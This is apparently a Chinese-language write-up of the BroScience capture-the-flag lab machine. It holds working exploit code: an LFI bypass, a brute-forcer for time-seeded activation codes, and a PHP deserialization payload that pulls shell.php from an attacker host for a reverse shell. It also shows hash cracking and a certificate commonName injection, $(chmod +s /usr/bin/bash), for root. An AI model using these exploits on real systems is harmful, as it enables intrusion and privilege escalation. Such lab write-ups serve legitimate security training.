基本信息

端口扫描

22,80,443:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ nmap -sC -sV -Pn 10.10.11.195
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 14:40 CST
Nmap scan report for 10.10.11.195
Host is up (0.19s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
| 256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_ 256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp open http Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after: 2023-07-14T19:48:36
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: BroScience : Home
| tls-alpn:
|_ http/1.1
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.45 seconds

80/443

需要加hosts:

1
10.10.11.195 broscience.htb

健身相关的:

目录扫描

扫描发现includes,进一步发现img.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt  -t 50 -u https://broscience.htb/ -k -x php,html,txt

/activate.php (Status: 200) [Size: 1256]
/comment.php (Status: 302) [Size: 13] [--> /login.php]
/images (Status: 301) [Size: 319] [--> https://broscience.htb/images/]
/includes (Status: 301) [Size: 321] [--> https://broscience.htb/includes/]
/index.php (Status: 200) [Size: 9308]
/javascript (Status: 301) [Size: 323] [--> https://broscience.htb/javascript/]
/login.php (Status: 200) [Size: 1936]
/logout.php (Status: 302) [Size: 0] [--> /index.php]
/manual (Status: 301) [Size: 319] [--> https://broscience.htb/manual/]
/register.php (Status: 200) [Size: 2161]
/styles (Status: 301) [Size: 319] [--> https://broscience.htb/styles/]
/user.php (Status: 200) [Size: 1309]

gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -t 50 -u https://broscience.htb/includes/ -k -x php,html,txt

/db_connect.php (Status: 200) [Size: 0]
/header.php (Status: 200) [Size: 369]
/img.php (Status: 200) [Size: 39]
/utils.php (Status: 200) [Size: 0]

img.php

直接访问提示缺少path参数:

LFI

根据path参数,很容易想到LFI,但存在检测:

简单地绕过,两次URL编码即可:

后面就是LFI读文件:

1
2
3
4
5
6
7
8
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";

db_connect.php

register.php

代码显示发送激活链接功能还没做:

utils.php

根据代码,生成激活码的随机数种子和时间相关:

伪随机数

所以我们可以自己根据时间生成激活码,一般前后500ms范围内时间作为种子即可

首先注册一个账号,得到服务端的响应时间:

然后根据时间作为随机数种子爆破出有效激活码:

1
2
3
4
5
php activate.php > codes.txt

ffuf -w ./codes.txt:FUZZ -u "https://broscience.htb/activate.php?code=FUZZ" -fs 125

qdJkKQPQa5JeVIzP9JM1PFe3vRGFa3cO [Status: 200, Size: 1251, Words: 292, Lines: 28, Duration: 689ms]

现在,我们注册的账号已经激活,可以登录:

activate.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function generate_activation_code($time) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand($time);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0,
strlen($chars) - 1)];
}
return $activation_code;
}
// find this from the above server response time
$ref_time = date("U",strtotime('Mon, 09 Jan 2023 07:08:32 GMT'));
for ($t = $ref_time - 500; $t <= $ref_time + 500; $t++)
echo generate_activation_code($t)."\n";
?>

PHP 反序列化

查看cookie发现是序列化数据,根据前面utils中的代码存在反序列化操作:

反序列化 getshell

根据代码,get_theme读取 cookie 并反序列化它,Avatar读取文件并保存到本地。因此,我们可以利用这些让目标从我们这里读取 shell 脚本,然后触发目标上的 shell。

1
php exploit.php

reverse shell

exploit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Avatar {
public $imgPath;

public function __construct($imgPath) {
$this->imgPath = $imgPath;
}

public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}

class AvatarInterface {
public $tmp = "http://10.10.14.19:7777/shell.php";
public $imgPath = "./shell.php";

public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}

echo base64_encode(serialize(new AvatarInterface));
?>

信息

前面已经得到有数据库密码,查看数据库得到hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
psql -U dbuser -h localhost -W -d broscience
Password: RangeOfMotion%777

broscience=> \dt;
select * from users;

username | password
---------------+----------------------------------
administrator | 15657792073e8a843d4f91fc403454e1
bill | 13edad4932da9dbb57d9cd15b66ed104
michael | bd3dad50e2d578ecba87d5fa15ca5f85
john | a7eed23a7be6fe0d765197b1027453fe
dmytro | 5d15340bded5b9395d5d14b9c21bc82b

hash crack

密码有salt,salt和加密方式在前面也已经得到了,所以修改格式破解hash:

1
2
3
4
5
6
7
8
9
10
11
12
└─$ cat hash.txt
15657792073e8a843d4f91fc403454e1$NaCl
13edad4932da9dbb57d9cd15b66ed104$NaCl
bd3dad50e2d578ecba87d5fa15ca5f85$NaCl
a7eed23a7be6fe0d765197b1027453fe$NaCl
5d15340bded5b9395d5d14b9c21bc82b$NaCl

sudo john --wordlist=/usr/share/wordlists/rockyou.txt -form=dynamic='md5($s.$p)' hash.txt

13edad4932da9dbb57d9cd15b66ed104 : iluvhorsesandgym (?)
5d15340bded5b9395d5d14b9c21bc82b : Aaronthehottest (?)
bd3dad50e2d578ecba87d5fa15ca5f85 : 2applesplus2apples (?)

user flag

bill用户ssh登录,得到user flag:

1
bill : iluvhorsesandgym

提权信息

运行pspy64,发现一个/opt/renew_cert.sh定期以root权限运行:

1
timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt

查看代码,是用来检查证书到期的,很多字段可以进行命令注入,因为证书本身会有字符限制,所以最好的利用点是commonName

/opt/renew_cert.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi

if [ -f $1 ]; then

openssl x509 -in $1 -noout -checkend 86400 > /dev/null

if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi

subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)

country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";

echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null

/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;

提权 & root flag

生成一个证书,注入命令,等待触发执行:

1
2
3
4
5
cd Certs/
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt -days 1

# Common Name
$(chmod +s /usr/bin/bash)

shadow

1
2
root:$y$j9T$CRyECZOR16PKCYvfMPEU1/$//xk7MP6mTa0jQvj4rq.H7w8DTBROI3SW9NfWncuoM2:19185:0:99999:7:::
bill:$y$j9T$0VHousYX7xxJh3Ih0AzAQ/$JO8mxhyALh1nWEVKM9qf675XnEb26Q15SLPakaMchH3:19187:0:99999:7:::

参考资料